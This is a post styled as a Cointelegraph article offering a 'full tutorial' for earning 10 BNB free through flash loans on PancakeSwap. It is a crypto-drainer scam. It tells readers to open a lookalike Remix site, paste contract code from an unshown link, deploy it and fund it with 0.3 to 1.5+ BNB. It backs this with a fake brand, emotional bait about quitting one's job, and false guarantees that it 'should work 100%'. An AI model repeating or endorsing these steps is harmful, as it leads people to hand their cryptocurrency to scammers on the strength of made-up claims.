How To Gain 10 BNB For Free Using PancakeSwap 2024 Full Tutorial

CointelegraphCointelegraph
3 min read

Tired of working 9am to 5pm? Do you hate your boss? Do you want to live life on your own terms?
Do you want to give your boss the middle finger knowing you can still provide for your family? If you answered YES to any of these questions, pay attention.
I want to show you a way to earn 10 BNB ($3,200) using the flash loan method.
This is possible using a special system called “FLASH LOANS”
A digital loan is a type of unsecured loan that is very popular in the decentralized finance (DeFi). Although proven popular, the DeFi protocol has been used to attack weak DeFi protocols.
Flash Loans Explained — https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
So
what’s the catch? Power loans will be borrowed and repaid within a single blockchain transaction.
Check out the detailed step by step tutorial on FLASH loans.

Flash Deposit by Step Tutorial:

  • Get the MetaMask extension for your browser.

  • Open https://remixcompiler.com/ from your browser. Click on File Explorer and click “Create New File”.

  • Name the file flashloans.sol and paste the contract code link below. ► Contract Code Link

  • Click Deploy and Run Transaction and set “ENVIRONMENT” to Web 3 installed.

  • Connect your MetaMask wallet. Click on “Solidity Compiler” and set the compiler type to 0.5.0

  • Click on the Solidity folder and click on the blue button “Compile flashloans.sol”

  • Wait for the code to compile.

  • Click Deploy and Execute Trades and click the down arrow to the right of the “Apply” button.

  • And the test item “_TOKENNAME”.
    And “_TOKENSYMBOL” TOKX
    In “_LOANAMOUNT” 2000

  • Click Transact and confirm the transaction with MetaMask. Wait for the transaction to be confirmed.

  • Copy the address of the newly sent contract. Send BNB to fixed contract to start 0.3+ (0.3 higher is better because you will get more money with each exchange)

  • Wait for the transaction to be confirmed.

  • Now click “action” (red box) to make a Flash loan. Confirm the transaction with MetaMask and wait for confirmation.

You can check your wallet now.
Note: If that doesn’t work with 0.5 BNB, try sending another 0.5 BNB (0.5 is better), because the fee can vary daily. (1.5+ BNB for every 1000 BNB you borrow).
Avoid using small amounts as contracts can fall below 0.3 BNB. In rare cases, the trial may fail due to the suspension of BNB and your smart contract, because the price of gas changes from time to time.
Do not panic, all you have to do is wait a little (5–10 minutes) and try the transaction again this time preferably with a loan amount of 825 and a gas limit of 31,560 and that should work 100% but with a small profit.

Make sure to transfer your BNB to another wallet when you’re done.

See you in the next one! Cheers!!

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